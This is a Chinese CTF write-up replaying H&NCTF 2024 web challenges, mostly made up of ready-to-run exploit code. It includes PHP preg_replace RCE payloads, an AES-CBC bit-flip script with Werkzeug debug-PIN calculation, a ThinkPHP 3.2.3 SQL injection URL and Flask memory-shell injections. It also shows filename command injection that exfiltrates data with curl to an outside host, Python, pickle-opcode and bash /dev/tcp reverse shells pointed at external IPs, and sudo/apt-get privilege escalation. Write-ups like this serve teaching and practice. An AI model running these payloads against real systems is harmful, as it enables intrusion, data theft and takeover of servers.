CTF 复现 H&NCTF 2024 H&NCTF 部分题目复现 Natro92 2024-05-15 2024-05-15 前言 当时打这个的时候有事没看,现在复现一下。
Please_RCE_Me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php if ($_GET ['moran' ] === 'flag' ){ highlight_file (__FILE__ ); if (isset ($_POST ['task' ])&&isset ($_POST ['flag' ])){ $str1 = $_POST ['task' ]; $str2 = $_POST ['flag' ]; if (preg_match ('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i' ,$str1 ) || strlen ($str2 ) != 19 || preg_match ('/please_give_me_flag/' ,$str2 )){ die ('hacker!' ); }else { preg_replace ("/please_give_me_flag/ei" ,$_POST ['task' ],$_POST ['flag' ]); } } }else { echo "moran want a flag.</br>(?moran=flag)" ; }
控制了字符长度为19。 task用大写绕过。flag这里要用无字母RCE,把header最后一个随便填个/flag
payload:
1 2 /?moran=flag task=readfile (end (getallheaders ()));&flag=PLEASE_GIVE_ME_FLAG
我看有的师傅是这样做的,也行:
1 2 task=array_map($_POST['a' ],$_POST['b' ])&flag=please_give_me_flaG&a=assert &b[]=phpinfo() task=array_map($_POST['a' ],$_POST['b' ])&flag=please_give_me_flaG&a=system&b[]=ls
FlipPin 根据提示查看hint
路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from flask import Flask, request, abortfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpadfrom flask import Flask, request, Responsefrom base64 import b64encode, b64decodeimport jsondefault_session = '{"admin": 0, "username": "user1"}' key = get_random_bytes(AES.block_size) def encrypt (session ): iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8' ), AES.block_size))) def decrypt (session ): raw = b64decode(session) cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size]) try : res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8' ) return res except Exception as e: print (e) app = Flask(__name__) filename_blacklist = { 'self' , 'cgroup' , 'mountinfo' , 'env' , 'flag' } @app.route("/" ) def index (): session = request.cookies.get('session' ) if session is None : res = Response( "welcome to the FlipPIN server try request /hint to get the hint" ) res.set_cookie('session' , encrypt(default_session).decode()) return res else : return 'have a fun' @app.route("/hint" ) def hint (): res = Response(open (__file__).read(), mimetype='text/plain' ) return res @app.route("/read" ) def file (): session = request.cookies.get('session' ) if session is None : res = Response("you are not logged in" ) res.set_cookie('session' , encrypt(default_session)) return res else : plain_session = decrypt(session) if plain_session is None : return 'don\'t hack me' session_data = json.loads(plain_session) if session_data['admin' ] : filename = request.args.get('filename' ) if any (blacklist_str in filename for blacklist_str in filename_blacklist): abort(403 , description='Access to this file is forbidden.' ) try : with open (filename, 'r' ) as f: return f.read() except FileNotFoundError: abort(404 , description='File not found.' ) except Exception as e: abort(500 , description=f'An error occurred: {str (e)} ' ) else : return 'You are not an administrator' if __name__ == "__main__" : app.run(host="0.0.0.0" , port=9091 , debug=True )
我说怎么这么眼熟,这就是tamu那个flip,位反转:
TamuCTF 2024 复现
脚本小子,启动! 读文件exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 """ @Project : Python @File : flip @desc : @Author : @Natro92 @Date : 2024/5/14 下午8:23 @Blog : https://natro92.fun @Contact : natro92@natro92.fun """ import requestsfrom base64 import b64decode, b64encodeurl = "http://hnctf.imxbt.cn:36196/" default_session = '{"admin": 0, "username": "user1"}' res = requests.get(url) c = bytearray (b64decode(res.cookies["session" ])) c[default_session.index("0" )] ^= 1 evil = b64encode(c).decode() filename = "/proc/1/cpuset" url_hack = "http://hnctf.imxbt.cn:36196/read?filename=" + filename res = requests.get(url_hack, cookies={"session" : evil}) print (res.text)
修改filename
读文件算PIN。
/proc/1/cpuset
:/kubepods/burstable/pod2dcc7fc2-dc77-4be4-aa71-53af7b5f6fcc/baf1f605a43e10ced00a5f492a9fc3429b8eb547fccc979652c3ddfce2270b34
/proc/sys/kernel/random/boot_id
:19088900-1695-441f-9f76-7379c20e5547
/etc/passwd
:ctfUser
/sys/class/net/eth0/address
:12:9e:40:46:20:54
将:
去掉,print一下print(int('129e40462054', 16))
这里报错可以通过在read
路由乱输cookie
获得到报错的文件位置: 算PIN exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import hashlibfrom itertools import chainprobably_public_bits = [ 'ctfUser' 'flask.app' , 'Flask' , '/usr/lib/python3.9/site-packages/flask/app.py' ] private_bits = [ '20470892470356' , '19088900-1695-441f-9f76-7379c20e5547' +'baf1f605a43e10ced00a5f492a9fc3429b8eb547fccc979652c3ddfce2270b34' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " num = None if num is None : h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x: x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
进console直接看就完了:
1 2 import osos.popen('env' ).read()
ez_tp ThinkPHP 3.2.3 系列漏洞分析 – 天下大木头 有机会把这个看了
网上wp说原来的附件里面有log文件可以看到payload的:
1 home/index/h_n?name[0 ]=exp&name[1 ]=%3d%27test123%27 %20union%20select%201 ,flag%20 from %20flag
版本:3.2.3
(根目录有版本号) tp这个我一直没太搞明白过。 找时间把这个thinkphp研究了吧。 参考链接里面有使用这个的EXP注入的详解: 这个利用点在ThinkPHP\Library\Think\Db\Driver.class.php
中的parseWhereItem
方法其中的: 打的时候要删光cookie,否则会打不出来:
1 /index.php/home/index/h_n?name[0 ]=exp&name[1 ]=%3 d%27 test123%27 %20 union%20 select%201 ,flag%20 from %20 flag
ezFlask Python 内存马分析 CTF中Python_Flask应用的一些解题方法总结
这个看了wp发现可以直接访问shell路由拿到flag:
1 app.add_url_rule('/shell' ,'shell' ,lambda :__import__ ('os' ).popen('cat /flag' ).read())
然后访问shell路由就能拿到flag。后来发现是想打内存马(哪天仔细研究下这个):
1 render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell',+'myshell',+lambda+:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}" )
但是他这个我怎么看不了flag? 除了这俩还看到了两个post时同时get传参cmd执行命令:
1 2 3 cmd=str (app.after_request_funcs.setdefault(None , []).append(lambda resp: CmdResp if request.args.get('cmd' ) and exec ('global CmdResp;CmdResp=__import__(\'flask\').make_response(os.popen(request.args.get(\'cmd\')).read())' )==None else resp)) cmd=app.before_request_funcs.setdefault(None , []).append(lambda :__import__ ('os' ).popen(request.args.get('cmd' )).read())
GoJava robots.txt
下有内容:main.go
无法访问 访问zip文件下载是一个go文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 package mainimport ( "io" "log" "mime/multipart" "net/http" "os" "strings" ) var blacklistChars = []rune {'<' , '>' , '"' , '\'' , '\\' , '?' , '*' , '{' , '}' , '\t' , '\n' , '\r' }func main () { http.HandleFunc("/gojava" , compileJava) fs := http.FileServer(http.Dir("." )) http.Handle("/" , fs) log.Println("Server started on :80" ) log.Fatal(http.ListenAndServe(":80" , nil )) } func isFilenameBlacklisted (filename string ) bool { for _, char := range filename { for _, blackChar := range blacklistChars { if char == blackChar { return true } } } return false } func compileJava (w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed" , http.StatusMethodNotAllowed) return } err := r.ParseMultipartForm(10 << 20 ) if err != nil { http.Error(w, "Error parsing form" , http.StatusInternalServerError) return } file, handler, err := r.FormFile("file" ) if err != nil { http.Error(w, "Error retrieving file" , http.StatusBadRequest) return } defer file.Close() if isFilenameBlacklisted(handler.Filename) { http.Error(w, "Invalid filename: contains blacklisted character" , http.StatusBadRequest) return } if !strings.HasSuffix(handler.Filename, ".java" ) { http.Error(w, "Invalid file format, please select a .java file" , http.StatusBadRequest) return } err = saveFile(file, "./upload/" +handler.Filename) if err != nil { http.Error(w, "Error saving file" , http.StatusInternalServerError) return } } func saveFile (file multipart.File, filePath string ) error { f, err := os.Create(filePath) if err != nil { return err } defer f.Close() _, err = io.Copy(f, file) if err != nil { return err } return nil }
在/gojava
是一个文件上传路由,判断黑名单,判断文件后缀是否为java。 黑名单:'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'
然后保存。 这里可以使用文件名RCE(这是为什么?) 后来我知道了,就是猜测开发java编译这个功能是使用命令编译的后面可以命令拼接。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /gojava HTTP/1.1 Host: hnctf.imxbt.cn:44579 Accept: *
查看文件夹下内容:
1 filename="a.java||curl -X POST -d a=`ls|base64 -w 0` [IP]:8888||.java"
1 2 3 4 5 6 7 8 9 10 css final go .modgojava index.html js main-old.zip main.go robots.txt upload
看下main.go
文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 package mainimport ( "fmt" "io" "log" "math/rand" "mime/multipart" "net/http" "os" "os/exec" "path/filepath" "strconv" "strings" "time" ) var blacklistChars = []rune {'<' , '>' , '"' , '\'' , '\\' , '?' , '*' , '{' , '}' , '\t' , '\n' , '\r' }func main () { http.HandleFunc("/gojava" , compileJava) http.HandleFunc("/testExecYourJarOnServer" , testExecYourJarOnServer) fs := http.FileServer(http.Dir("." )) http.Handle("/" , http.HandlerFunc(func (w http.ResponseWriter, r *http.Request) { if isForbiddenPath(r.URL.Path) { http.Error(w, "Forbidden" , http.StatusForbidden) return } fs.ServeHTTP(w, r) })) log.Println("Server started on :80" ) log.Fatal(http.ListenAndServe(":80" , nil )) } func isForbiddenPath (path string ) bool { forbiddenPaths := []string { "/main.go" , "/upload/" , } for _, forbiddenPath := range forbiddenPaths { if strings.HasPrefix(path, forbiddenPath) { return true } } return false } func isFilenameBlacklisted (filename string ) bool { for _, char := range filename { for _, blackChar := range blacklistChars { if char == blackChar { return true } } } return false } func compileJava (w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed" , http.StatusMethodNotAllowed) return } err := r.ParseMultipartForm(10 << 20 ) if err != nil { http.Error(w, "Error parsing form" , http.StatusInternalServerError) return } file, handler, err := r.FormFile("file" ) if err != nil { http.Error(w, "Error retrieving file" , http.StatusBadRequest) return } defer file.Close() if isFilenameBlacklisted(handler.Filename) { http.Error(w, "Invalid filename: contains blacklisted character" , http.StatusBadRequest) return } if !strings.HasSuffix(handler.Filename, ".java" ) { http.Error(w, "Invalid file format, please select a .java file" , http.StatusBadRequest) return } err = saveFile(file, "./upload/" +handler.Filename) if err != nil { http.Error(w, "Error saving file" , http.StatusInternalServerError) return } rand.Seed(time.Now().UnixNano()) randomName := strconv.FormatInt(rand.Int63(), 16 ) + ".jar" cmd := "javac ./upload/" + handler.Filename compileCmd := exec.Command("sh" , "-c" , cmd) compileOutput, err := compileCmd.CombinedOutput() if err != nil { http.Error(w, "Error compiling Java file: " +string (compileOutput), http.StatusInternalServerError) return } fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename)) jarCmd := exec.Command("jar" , "cvfe" , "./final/" +randomName, fileNameWithoutExtension, "-C" , "./upload" , strings.TrimSuffix(handler.Filename, ".java" )+".class" ) jarOutput, err := jarCmd.CombinedOutput() if err != nil { http.Error(w, "Error creating JAR file: " +string (jarOutput), http.StatusInternalServerError) return } fmt.Fprintf(w, "/final/%s" , randomName) } func saveFile (file multipart.File, filePath string ) error { f, err := os.Create(filePath) if err != nil { return err } defer f.Close() _, err = io.Copy(f, file) if err != nil { return err } return nil } func testExecYourJarOnServer (w http.ResponseWriter, r *http.Request) { jarFile := "./final/" + r.URL.Query().Get("jar" ) if !strings.HasSuffix(jarFile, ".jar" ) { http.Error(w, "Invalid jar file format" , http.StatusBadRequest) return } if _, err := os.Stat(jarFile); os.IsNotExist(err) { http.Error(w, "Jar file not found" , http.StatusNotFound) return } cmd := exec.Command("java" , "-jar" , jarFile) output, err := cmd.CombinedOutput() if err != nil { http.Error(w, "Error running jar file: " +string (output), http.StatusInternalServerError) return } w.Header().Set("Content-Type" , "text/plain" ) w.Write(output) }
这里就明确了,上传一个恶意java文件反弹shell,然后用自带的测试文件执行即可:/testExecYourJarOnServer?jar=4c3b75f48cea30c2.jar
接到反弹shell: 有个memorandum备忘录文件 得到一串密钥 尝试作为密码登录: 为什么这样就没有sh提示身份了。 flag在root文件夹里面
GPTS 想办法拿shell 注意信息搜集 多段提权,细心,不要落下常规提权步骤 加一个root组用户在进行下一步 sudo的文件里有好东西
这个UI跟那个GPTArena好像啊 GPT Academic CVE:
CVE-2024-31224 RCE 分析 - 先知社区
主要考的还是Pickle反序列化。 按照要求 显示自定义菜单,选择自定义按钮 有了这个persistent_cookie
这个cookie。 python反弹shell:
1 python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
生成opcode exp:
1 2 3 4 5 6 7 import base64opcode=b'' 'cos system (S' bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiWW91ciBJUCIsODg4OCkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bigiYmFzaCIpJw==}|{base64,-d}|{bash,-i}" ' tR.' '' opcode = base64.b64encode(opcode).decode("utf-8" ) print (opcode)
结果
1 Y29zCnN5c3RlbQooUydiYXNoIC1jICJ7ZWNobyxjSGwwYUc5dU15QXRZeUFuYVcxd2IzSjBJRzl6TEhCMGVTeHpiMk5yWlhRN2N6MXpiMk5yWlhRdWMyOWphMlYwS0NrN2N5NWpiMjV1WldOMEtDZ2lORGN1TVRFMUxqSXdOQzR4TURFaUxEZzRPRGdwS1R0YmIzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExHWXBabTl5SUdZZ2FXNG9NQ3d4TERJcFhUdHdkSGt1YzNCaGQyNG9JbUpoYzJnaUtTYz19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfSInCnRSLg==
我的Chrome不知道为什么出不来这个自定义菜单。 修改cookie。保存再刷新页面,然后点击加载已保存。没有就多刷新几次,我这个不是每次都有。 查看当前角色能读的文件:
1 find / -type f -user ctfgame -readable 2 >/dev/null
查看下这个文件
1 2 3 4 5 6 7 8 9 10 From root, To ctfgame(ctfer), You know that I'm giving you permissions to make it easier for you to build your website, but now your users have been hacked. This is the last chance, please take care of your security, I helped you reset your account password. ctfer : KbsrZrSCVeui#+R I hope you cherish this opportunity.
登录ctfer
这个账号KbsrZrSCVeui#+R
看看当前用户权限:
(root) NOPASSWD: /usr/sbin/adduser
:表示 ctfer 用户可以以root身份执行 /usr/sbin/adduser 命令,而且不需要输入密码 (NOPASSWD)。这个命令通常用于创建新的用户账号。!/usr/sbin/adduser * sudo
:这是一条禁止(由 ! 前缀标示)规则,意味着 ctfer 不能使用 adduser 命令将任何用户添加到 sudo 组。!/usr/sbin/adduser * admin
:这是另外一条禁止规则,表示 ctfer 不能使用 adduser 命令将任何用户添加到 admin 组。根据提示说添加一个root组用户:
1 sudo adduser test -gid =0
登录test账号: 看/etc/sudoers
发现有个kobe
用户,可以使用apt-get
,创建kobe用户。(注意这里要用ctfer
这个账号)
切换kobe账号,使用apt提权:
利用软件包管理器实现Linux提权 - 嘶吼 RoarTalk
1 sudo apt-get update -o APT::Update::Pre-Invoke ::="/bin/bash"
得到root权限:
奇怪的网站 文件泄露-配置文件 vim泄露文件给的hint说明还有别的文件泄露 图片网站? 命令执行函数
访问主页发现有302重定向,且文件中有提示: 尝试访问多次异常退出vim编辑文件: 扫描目录发现flag.php
,从swp
往回尝试p->o->n->m...
最后发现是.flag.php.swm
(注意都有前缀.
因为是隐藏文件) 在wsl运行:
恢复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 function check ($num ) { $a = ord ('1' ); $b = ord ('9' ); for ($i = 0 ; $i < strlen ($num ); $i ++) { $c = ord ($num {$i }); if ( ($c >= $a ) && ($c <= $b ) ) { return false ; } } return $num == '11259375' ; } $num = $_GET ['num' ];
直接搜索:11259375
:
CTF——web安全中的一些绕过 - 淚笑 - 博客园
用0xabcdef
得到hint:hint: 没有扫到那个文件吗?!或者去首页看看?``index.png
被解析成php
猜测有htaccess
解析 发现.htaccess
是403,说明存在解析 扫描到404.php
内header中有secret
:After PUT, does the server write the file directly?preflight?
http跨域时的options请求_httpmethod.options-CSDN博客
预请求是指在发送实际请求之前,浏览器先发送一个 OPTIONS 请求到服务器以检查实际请求是否安全、可被服务器接受。复杂请求通常指那些可能对服务器数据产生影响、非简单请求的HTTP方法,像 PUT, DELETE, CONNECT, OPTIONS, TRACE, 和 PATCH。由于这些请求方法可能会改变服务器上的数据,因此发送这样的请求之前,浏览器会先进行一次“预检”,以确保服务器允许来自该源的这种类型的请求。 在跨域请求的场景中,浏览器会自动先发起一个预检请求。预检请求使用 OPTIONS 方法,并且包含一些 HTTP 头信息,告知服务器接下来的实际请求中会使用哪些HTTP方法和头信息。服务器必须响应这个预检请求,并告知浏览器是否允许这个实际请求。如果服务器不允许,则浏览器将阻止该请求。如果允许,浏览器将继续发起实际请求。 用OPTIONS
发包 这个我怎么就没复现成功。 读取文件.htaccess
我不理解这里怎么读取的,我这里并没有成功。知道的大佬给我讲讲吧。 这里我先跳到后面吧,有个ggggoku.php
,读取之后构造payload反弹shell:
1 2 3 GET: /ggggoku.php?a=${eval ($_POST [0 ])} POST: 0 =%24 fd%3 Dpopen%28 %22 bash+-c++%27 bash+-i+%3 E%26 +%2 Fdev%2 Ftcp%2 F47.115.204 .101 %2 F8888+0 %3 E%261 %27 %22 %2 C%27 r%27 %29 %3 B++%0 Awhile%28 %24 s%3 Dfgetss%28 %24 fd%29 %29 %7 B++%0 Aprint_r%28 %24 s%29 %3 B++%0 A%7 D
弹到shell: 没有读取flag权限,需要提权:
1 find / -perm -u=s -type f 2 >/dev/null
先找下文件: su命令,root密码在/home/admin/passwd
,使用su之前需要先切换至交互shell。用script
即可:bef27466a245ce3ec692bd25409c2549
后记 太菜了,好几个基础知识都没学明白。